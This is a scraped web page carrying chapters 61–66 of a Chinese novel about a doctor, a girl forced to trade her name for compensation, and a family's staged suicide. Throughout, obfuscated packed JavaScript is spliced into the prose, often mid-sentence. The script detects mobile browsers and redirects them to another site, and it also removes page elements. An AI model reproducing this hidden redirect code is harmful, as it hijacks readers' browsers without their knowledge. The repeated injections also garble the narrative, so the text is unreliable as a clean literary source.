“那你知道，为什么镇上的大多数人都站在沈涛这一边吗？”杨敏问。 “沈涛对沈依依有恩？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729784|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杨敏摇头。 “沈涛在镇上权大势大？一手遮天？” 杨敏仍然在摇头。 “沈依依打破了一种安全感，一个生存法则，这，才是其他人害怕的，这，才是他们骂沈依依是白眼狼，保持沉默的原因。沈涛所说的都是实话，即便是沈依依去上了大学，大学毕业之后回到镇上，她不一定能获得比现在更好的工作，更好的生活环境。唐家明，每一所学校都有一个实验班，尖子班，明星班之类的存在，你知道吗？” 唐家明苦笑，“怎么可能不知道呢？我，还有你，都曾经是其中的一员。” “当一个孩子足够优秀，给予这个孩子更多的机会，更多的照顾，在所有人看来，不仅是正常的，还是必须的。如果沈依依足够优秀，优秀到所有人都不是她的对手，优秀到考上北大清华之类的学校，机会和照顾，对于她来说，是正常的。问题在于，沈依依并不是那么优秀，或者说，她没有优秀到让人们觉得是可以给予照顾的程度。她只是一个普通的，依靠努力能够考一个还算不错的学校。这样的孩子，机会和照顾于她就成了一种浪费，不如用来交换更加实际有用的存在，例如，一份更好的工作，一个好人缘，让其他人都舒适安心的好人缘。” 61. 第 61 章 唐家明在思考一个问题，他曾经是个非常优秀的学生，即便是现在，他也认为自己是一位非常优秀的医生。如果不是因为有李庆那样一个父亲，他不会屈就这样一个偏远的小镇，这样一家精神病院，一个愚蠢而无能的院长，一群胆小而庸俗的同事。他值得更大的城市，更优秀的上司，更好的同事。隐藏在心里的这些话，是不能说的。自我约束，作为人类必须具备的基本品质，自我约束。唐家明有着严格的自我约束，对他人的真实感情，真实评价隐藏起来，是其中之一。 也是因为如此，唐家明推断出了一个结论，如果不是因为沈依依足够特殊，或者在他的评价体系里，足够优秀，他会不会帮助沈依依呢？ 人们常常会说两句话，第一句是：你去帮帮他吧，不帮他真的是太可惜了。第二句是，不要帮他，不值得。 如果把第一句话站在唐家明的角度，套住沈依依，事情的本质就是：唐家明你去帮帮沈依依吧，不帮她真的是太可惜了。 唐家明在沈依依身上找到了同类的感觉，那一种发自内心的坚定，我在做一件正确的事情，不管怎样，我都要继续下去，哪怕是全世界的人都嘲笑我，甚至抛弃我。 “唐家明，帮助沈依依，你选择哪一个理由呢？是因为你相信自己是一个高尚的人，还是因为你在沈依依身上，看到了你自己？”杨敏在问唐家明。 如果唐家明不加思考的话，他会回答：他在沈依依的身上，看到了自己。但是如果他仔细思考的话，他会觉得，这样的理由显得自己不是那么的高尚，纯粹，他甚至会努力地让自己回避第二个理由，因为那样的念头在脑子里存在，就是一件庸俗的事情。 但是，提问的人是杨敏，面对杨敏，唐家明没有说谎的勇气。 “我想，我不是在帮助沈依依。我只是期待，期待着她能够做出我时时刻刻都在渴望，但是没有勇气做出的那些事情：你们共同的生存法则，你们所谓的为你好的善良，是这世上最大的恶。” 杨敏笑了。“如果问这个问题的人，不是我，你还敢说这样的话吗？” “只有你会问这样的问题，杨敏。”唐家明说。 “跟沈依依好好谈谈吧。你是她的救命恩人，也是她的医生，她最相信的人是你。” 杨敏离开以后，唐家明突然明白了一件事情，这是第一次，杨敏赋予了他信任。 信任，是一种奇妙的感觉。人与人之间的信任，既是盲目的，也是清醒的。我相信你能把这件事处理好，不是因为你来处理了就能获得最好的结果，而是因为我相信你在处理这件事的时候，会抛弃你的自私自利。 “沈依依，活在这个世上，没有亲人的感受，你有没有体会过？”唐家明问沈依依。 “什么意思？”沈依依不明白。 “有一次我需要动个小手术，按照程序，需要有家属在手术同意书上签字。身为医生，我知道那样的手术，生命危险的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729785|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能性非常小。我也可以轻巧地笑一笑，自己签字同意。但是那个下午，我把手机通讯录从第一个翻到最后一个，上面的每一个名字，都有可能出于同情，友谊，善良签字同意，但是都不是必须的，都不是如果他们不在同意书上签字，是在受到谴责的。沈依依，你能理解吗？不管你愿意不愿意，喜欢不喜欢，都必须要做的事，都必须要承担的责任，这，就是亲人的含义。” 沈依依迷惑了，她摇头。“我不明白。但是，这与我又有什么关系呢？” “与你的关系在于，沈涛承诺，以后你和你奶奶，就是他的亲人，你奶奶的生养死葬，你以后不管是读书还是嫁人，都是他必须承担的责任。沈涛开出了这样的条件，镇上的人，不管他们是普通人，还是政府官员，都觉得很满意。” “满意？我差一点就死了。我会变成另外一个人。” “你现在还活着。这件事以后，你不仅会继续活着，还会在沈涛的帮助下，活得更好。不仅如此，沈涛还在乡亲们的见证下，给你在银行开了个户头，存在十万块钱进去。你奶奶也表了态，那笔钱，都是你的。她不会动用一分一厘。你想读书作为学费，或者想拿了钱去旅游散心，都随你。” 唐家明是矛盾的，他不愿意，但是他必须如实地把所有利益和诱惑都告诉沈依依。他不能隐瞒也无权隐瞒。他是期待着沈依依拒绝的，但是他必须要小心谨慎，不能有一个字，一个细微的表情流露出他的期待。 62. 第 62 章 “等价交换。你出卖你的名字，你的任性妄为，你的自由自在，换取你不冷的时候唠叨一句要你添加衣服，换取你想减肥的时候让你大吃大喝，换取你节假日的时候有一个无聊乏味的地方可以回去。换取一群人对你的生活指指点点，念念叨叨。” “从我们生下来的那一刻开始，就有人在告诉我们要怎么活，要怎么去寻找幸福和快乐。要怎么去做正确的事情。要怎么去避免错误。” “当我们身陷其中，我们会觉得是折磨，是绝望。我们甚至愿意与魔鬼交易，我们愿意变成魔鬼，就为了摆脱这一切。” “一旦我们无牵无挂，自由自在，我们就会怀念，会羡慕，会努力挽回，会深受折磨，会绝望。” “你知道吗？一个无牵无挂，自由自在的人，在大多数人的眼里，是镜子的背面，是活得伤心绝望的可怜虫。” “你可以对自己说，自己的人生，不需要惧怕他人的眼光，不需要在意他人的评价。但是，当你跟自己对话的时候，你已经输了。” “不要高估了自己，你并不比其他人高尚，你并不比其他人聪明，你和这世界上任何人都一样，自私的天性，最后关头的慈悲。持续的软弱，偶尔的坚强。长久的失去，短暂的拥有。漫长的无聊和平庸，一生一世都在渴望也许永远也无法拥有的闪光。” “唐医生，你觉得你是一个怎样的人？”沈依依问。 “我？”唐家明笑了，“我是一个懦弱自私卑鄙无耻的胆小鬼。我的人生活到现在，唯一的成就感，就是认清了这个事实。最大的恐惧，就是我无法接受这样的自己。” “我需要一个仪式，一个有人见证的仪式，我需要沈涛跟我道歉，当面道歉，他要跟我说对不起。” “其他呢？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729786|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他？还能有什么其他。” 沈依依紧紧地抱住了唐家明。“原谅我，我不过是一个胆小鬼。原谅我，我终究没有勇气活成无牵无挂。原谅我，我需要庸俗世界的喋喋不休。” 三个月后，徐佳佳和杨敏在学校里看到了沈依依。沈依依拿出一张女孩的照片。 “认识一下这个女孩，沈婷婷。她是真正的沈婷婷。” “她还在继续上大学吗？用沈依依的名字。” “她休学了，在家里住着。我听别人说，她现在变得呆呆的，喊她的名字，不管是沈婷婷还是沈依依，她都半天没有反映。” “你呢？” “我？很奇怪，沈涛当面道歉之后，我习惯了沈婷婷这个名字。如果有人喊我沈依依，我反而不习惯。大概，这就是生活吧。即便是死亡我也不想改变的名字，活着，倒是渐渐地习惯了，改变了。” 63. 第 63 章 “你就这样放弃了吗？”唐家明问。 “不放弃我还能怎样呢？”沈依依，不，现在，她是真正的沈婷婷了。 是啊，不放弃又能怎样呢？ “难道，不是你所期待的吗？你们一直期待的吗？”沈婷婷疑惑地问。 “我所期待的？我们一直期待的？”唐家明不明白。 “你们一直都在提醒我，坚持下去有多么艰难，放弃是多么容易。是啊，放弃实在是太容易了。这还不是最糟糕的，最糟糕的是，离开了医院之后，我已经没有了死的勇气。我想活着，活得更容易一些，活得更舒服一些。” 沈婷婷离开了，不远处，她的奶奶在等着她。祖孙俩很亲密地样子，互相搀扶着。 唐家明慢慢地走着，他不知走了多久，他不敢停下来，他怕他停下来，坐下来，就会倒在地上起不来。内心深处，他一直坚持的，一直希望的，正在一点一点地崩溃，崩塌，碎裂。他是一个满怀着希望的胆小鬼，他是一个不负责任的胆小鬼。他是那么地希望沈婷婷能变回成沈依依，他是那么地希望沈婷婷地坚持下去。一声对不起，些许的金钱补偿，远远不够。沈涛必须为他的行为付出代价。但是，与此同时，他也是迷茫的。沈涛到底应该付出怎样的代价，身败名裂还是坐牢？并不是那么明确。还有沈涛的亲生女儿，真正的沈婷婷呢？她应该付出怎样的代价呢？如果传言属实，她休学了，变得痴痴呆呆。那么对于这个年轻的女孩来说，惩罚是不是太过惨痛了呢？如果传言只不过是沈涛的另一个解决问题，博取同情的手段。是不是等到风声过去之后，沈依依就会恢复正常？如果真是这样，沈婷婷是会平静地接受，还是再一次崩溃？那么，还有没有另外一个唐家明，徐佳佳来相信她，帮助她呢？ 如果真是这样，那么还有一件更可怕的事情，是不是只要这个人是好人，就意味着他即便是做了坏事，也能轻易地逃脱处罚。 如果我们善良一点，那么，这会不会是大多数胆小鬼努力去做好人的原因呢？ 又或者，我们恶毒一点，那么，这会不会是一些坏人努力去做好人的原因呢？ 徐佳佳会怎样呢？沈婷婷还是这个世界，哪一个对她的伤害更深一些呢？ 唐家明抬头，这才发现自己站在了徐佳佳的家门口。他的本能帮助他做出了选择，他有一种冲动，想要抱一抱徐佳佳。他想给她一个拥抱，他想要陪着她。 门开了，站在门口的是杨敏。 “怎么是你？” “怎么不能是我。唐家明，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729787|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是这样，你总觉得这个世界上只有你才了解徐佳佳，只有你是她的安慰。我说你这个人，是不是太过自大了。你以为你是谁啊？我告诉你，徐佳佳没有你想象的那么脆弱。这个世上，她最恨的就是象你这样的人，把自己当成救世主，英雄，从不顾及他人的感受。” 杨敏骂了个痛快，发泄露完愤怒之后，说出了迫在眉睫的另一件事。 “徐佳佳去找程雨涵了。” “程雨涵？” 那个名字，唐家明是有印象的，那个任性刁蛮的富家千金，徐佳佳说，程雨涵是她的朋友，唯一的朋友，最好的朋友。唐家明不赞同，但是，他没有反对的权利，只好保持了沉默。他总觉得，象程雨涵这样的女孩子，哪怕是跟徐佳佳成了朋友，也只会是暂时的。那样的两个女孩，注定会是分道扬镳的。 “徐佳佳是不是遇到了什么困难？”匆忙间，唐家明得出了结论。 “不是，是程雨涵遇到了麻烦，很大的麻烦，她自杀了，不仅如此，一起自杀的，还有程雨涵的父亲，母亲，和她的哥哥。一家四口。”杨敏说。 杨敏知道唐家明会来，她在等着她，故意把程雨涵的事告诉他。这一次，杨敏需要一个可以不顾一切帮助徐佳佳的人。即便这个人是唐家明。 64. 第 64 章 程雨涵曾经很努力想要和徐佳佳做朋友。怎么说呢？徐佳佳是她想要成为的那种女生。聪明，自信，哪怕是一无所有也似乎是无所不能。跟自己崇拜的人交朋友，是一件艰难的事情，讨好，巴结，奉承的同时还要顾虑对方的自尊。她不是一个爱看书的人，但是逼着自己看了很多书。实在是看不下去了，她就坐在桌前，一个字一个字地抄写。坚持了半年以后，她找到了看书的乐趣，同时也明白了，她跟徐佳佳，其实是做不成朋友的。至少，是做不成那种无话不谈，随时随地一起吃喝玩乐的朋友。程雨涵的精神世界追不上徐佳佳的脚步，徐佳佳的物质世界承受不起程雨涵的摧残。 把这些问题想明白的时候，程雨涵已经大学毕业，加上校长跟妈妈是朋友的关系，她进了国际学校，当上了小学老师——虽然以她在英国生活五年，能够跟老师同学用英文交流，交作业顺利毕业的水平，教小学生英语太过委屈——程雨涵看得很明白，她不是一个能吃苦的人，也不打算吃苦，没有远大的目标，只想把小日子过得舒服自在。 一个还没有完全长大的孩子跟一群真正的孩子相处，大多数时候也会变得跟孩子一样，或是感动得落泪，或是发脾气。程雨涵是个冲动的性子，说了过头的话，把小学生委屈得掉眼睛，又能拉下脸来跟小学生赔笑脸拉个手就和好了。程雨涵养了一只无毛猫——她一直想养宠物，但是对动物毛发过敏，无毛猫聪明乖巧，又让主人显得特立独行——合适并且惬意。 回国以后，不止一次，程雨涵想过给徐佳佳打电话，约着吃吃饭看看电影之类。但是每天都在无所事事的状态之下有忙不完的事，要上课，要找闯祸的熊孩子谈心，要给小佳打预防针——程雨涵养大的无毛猫，名字叫小佳。 妈妈突然有一天过来，找程雨涵要房产证。程雨涵没有多想，自己的亲妈要房产证，没有道理不给，然后就是去银行去金融机构去说不出名字的地方签字，程雨涵连合同都没看，一来妈妈已经在合同上签过字了，二来那些合同条款，她根本就看不懂。慢慢的，程雨涵感觉到了不对劲，需要她签字的合同越来越多，莫名其妙的电话也越来越多，有时候甚至是半夜三更打过来。她有想过问一问母亲还有父亲，家里是不是出了事。父亲的慢性咽喉炎又犯了，常常咳得喘不过气，母亲的头发白得厉害。她有无数个问题，但是每每话到了嘴边，都化作了一声叹息。这个家里，最无用的那个人一直是程雨涵，她不忍心让风光成功了一辈子的父母难堪。 有四个年轻人找到了学校，正好是放学时间，当着几百位家长的面，拿着大喇叭喊着她的名字，挥舞着她的欠条，说她欠钱不还的事。程雨涵没有脸继续呆在学校，也没有脸打电话给徐佳佳。她有徐佳佳的微信，徐佳佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729788|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在朋友圈里晒过律师证，她去点过赞。她三天两头发小佳的照片，徐佳佳也给她点赞。她们是互相点赞但是从不谈论私生活的朋友。 夏天的晚上，也就是程雨涵被迫辞职的第二个月，妈妈拿出一张去日本的单程机票。语气沉重。“涵涵，你马上就22岁了，这是送你的生日礼物。” 机票就在眼前，程雨涵不敢接。“早上七点的国际航班，五点就要到机场。四点就要起床，还要收拾行李。还有小佳，小佳怎么办呢？” “小佳交给我吧，我会照顾他的，你就放心去玩吧。开开心心地玩。”母亲说。 程雨涵不相信母亲的话，一个字也不信。母亲从来没有喜欢过小动物。没有用正眼看过小佳的她，那天晚上，居然把小佳抱在怀里。收拾行李，母亲偷偷把一家三口的合影放在了箱子里，程雨涵看见了但是装作没看见。晚上睡觉，程雨涵不肯回自己的房间，她抱着母亲不肯放手。母亲笑着说，这么大的姑娘了还撒娇。程雨涵差点哭出来，还好她反应快，顺手把父亲也搂住了，脸贴着父亲的后背。父亲瘦得厉害，她没能忍住眼泪。父亲的身体僵了一下，一家人心里都明白：既然已走到了绝境，就无须再说了。 程雨涵在机场星巴克坐了两个小时，退了机票，拨通了母亲的电话。“妈妈，我是个没用的，一个人活不下去，我陪你们一起走吧。” 65. 第 65 章 徐佳佳守在病床边，拉着程雨涵的手，心里乱成一团。这是程雨涵吗？也许是记忆里那个任性放肆的程雨涵太过深刻了，她几乎认不出眼前的程雨涵，瘦得厉害，脸色苍白。小小的一团几乎被被子淹没了。 一想到找到程雨涵的过程，徐佳佳就心惊肉跳：程雨涵放了一张照片在网络上：散落出来的一整瓶安眠药；说了一句话：一家人，一起生，一起死。那是一场催人泪下的网络大联动，无数的网民，诅咒的，愤怒的，恶毒的，刻薄的，当然，也有真诚的，善良的，容易被感动的，容易受骗上当的，都团结起来，或是各种安慰鼓励各种活着的美好，或是报警，或是变身侦探查询蛛丝马迹。 下雨天事件，下雨天是程雨涵的网名。是的，程雨涵自杀的事情闹得太大，人们谈论起这件事的时候，统一了称呼，叫做下雨天事件，或者下雨天自杀事件。 徐佳佳经常上网，但是她是埋头于一团乱麻的真实生活的人，网络正义对于她而言，太过嘈杂也太过虚幻。杨敏却是恰恰相反，杨敏最近迷上了一个小明星，会唱歌会跳舞根据照片来看，是个长得好看的少年。杨敏常常会把少年的照片或者视频发给徐佳佳，顺带着一些白痴问题：好看不？酷不？帅不？一开始徐佳佳会敷衍一两句：还行吧，是是是，很好看。直到有一天，徐佳佳因为沈婷婷的案子，心情很差，爆发了，回复了一句：杨敏，你不觉得你很幼稚吗？ 很久之后，杨敏回复了：我们之间，需要找到一个轻松，与我们的生活完全无关的话题维持关系。你觉得妈妈总发那些千万要看，一定要看，爆炸性消息之类的白痴文章给你，真的是因为她相信文章里的内容吗？还是因为她想跟你保持联络，表达对你的关心。 是的，徐佳佳不得不认同杨敏的观点，也不得不继续忍受那些造型奇怪的照片，她甚至陪着杨敏去看了一场演唱会，所有人都在嘶吼蹦跶，迫不得已，徐佳佳也跟着一起嘶吼蹦跶，精疲力竭之后，整个人反倒是轻松起来。回家的路上，杨敏抱着徐佳佳不放。 “佳佳，你高兴吗？”杨敏问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729789|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐佳佳想了想，说出了真实的感觉。“我很高兴。” “高兴就好。高兴真好”杨敏哭了。“我喜欢看到你高兴的样子。” 下雨天自杀事件，杨敏在网络舆论发酵的时候立刻就看到了。与其他网民不同的是，杨敏看到了照片里的那只猫，无毛猫，名字叫做小佳。徐佳佳把小佳的照片发给杨敏。 “程雨涵的猫，名叫小佳，可爱吧。”徐佳佳说。 “小佳，那不是你的名字吗？” “是啊。她还记得我。” “你们经常联络吗？” “几乎不怎么联络。我和程雨涵，家庭出生不一样，成长的环境也不一样，说不到一块儿去。不过，看她的朋友圈，过得很开心的样子，我也就放心了。” 杨敏犹豫了，要不要把下雨天事件告诉徐佳佳。在她自认是充满了恶意的主观推断里，下雨天自杀事件，是一个拙劣的，漏洞百出的局。即便如此，杨敏也不能彻底得出结论：如果一个人用自杀的方式喊救命，是救？还是不救？ 66. 第 66 章 杨敏在犹豫，她犹豫的原因很简单，程雨涵是徐佳佳的朋友，徐佳佳是她的亲人，直接地说，杨敏认识程雨涵，跟她打过招呼说过话甚至同一张桌子吃过饭。如果有人问起杨敏，说，你认识程雨涵吗？杨敏立刻会回答，当然认识。听说她是个刁蛮任性的大小姐？还好吧，挺随和的。朋友不满地反驳，那是因为你跟她没有利益冲突。 杨敏当时不以为然，但是，当她站在门口，看着病床上打着点滴的程雨涵，守在床边一脸疲惫的徐佳佳，尽管程雨涵的样子比徐佳佳更加狼狈，杨敏的感情，仍然是偏向徐佳佳的。 杨敏把徐佳佳喊了出去，严肃地说：“佳佳，你回去吧，这里的事情我来处理。” 徐佳佳惊讶了。“你来处理？处理什么？” “佳佳，程雨涵的事情你不适合出面。” “出面？我为什么要出面？出面做什么？” 杨敏闭了闭眼睛。是的，徐佳佳已经被感情控制了，根本就意识不到即将到来的狂风暴雨。顾不得了。徐佳佳和程雨涵，杨敏没有犹豫，她选择了徐佳佳。 “程雨涵的自杀是假的。”杨敏说，“她和她的家人，已经走投无路了，想用自杀的方式来换取同情。” “杨敏，你不觉得你的冷血让人厌恶吗？” 面对徐佳佳的指责，杨敏连眉头也没有皱一下。或者说，她习惯了徐佳佳的指责。人与人之间的相处是非常奇妙的。一个人对另一个从有了感情，有了依赖，有了认定的亲人的那种归属感，就会对伤人的恶语有了相当程度的免疫，并且自我安慰说，他并没有恶意，他就是那样的人，他只不过是一时冲动，事情过后，他会后悔的。 “程雨涵的事情你不许插手。我的事情，也用不着你来管。我是死是活，都是我自己的事。”徐佳佳回到了病房，关上了门外，杨敏被关在门外。 杨敏笑了。唐家明直到医院，看到的是杨敏的笑容，一个比哭还要难看的笑容。 “被徐佳佳骂了？”唐家明又是好气又是好笑。 “是啊，意料之中罢了。” “那你要怎么办呢？扔下徐佳佳不管吗？” “可能吗？” 是啊，徐佳佳不可能扔下程雨涵不管，那么，杨敏也不可能扔下徐佳佳不管。这个世界就是这样，既简单又纠缠不清。 天还没有亮，狂风暴雨，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729790|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同杨敏预料一般的降临了。互联网赋予了人们最便捷的表达方式，动一动手指，说出去的话就成为了一种可能——一种被全世界的人都能听到，都能获得支持，都能定义成正义的可能——这是怎样的一种诱惑。会有人反对吗？会有人厌恶吗？会有人唾弃吗？当然会有的。但是，如果声音足够大，如果支持者足够多，如果能被定义成正义，那么，那些微不足道的反对，厌恶甚至唾弃都是可以忽略不计的。 人们，我是说，那些喜欢发出自己的声音，喜欢表达观点的人们，是善良的，这是毋庸质疑的。所以，当程雨涵，一个年轻的生命表示走投无路，要和家人一起自杀的时候，有人落泪，有人心急如焚，有人帮忙报警，甚至有人帮着搜索定位寻找程雨涵。感动吗？是的，在那个瞬间，只要不是铁石心肠的人，都会感动。但是，感动之后呢？感动之后最讨厌的事情回来了，冷静，理性，分析，当然，还有无所不在的正义，无所不在的质疑。质疑程雨涵的自杀是真是假，是理所当然，更加理所当然的是，程雨涵其实是经不起质疑的。她的存在，她的父母家人，她的年轻漂亮，她的轻率虚荣，她的任性懈怠，一切的一切，都是经不起质疑的。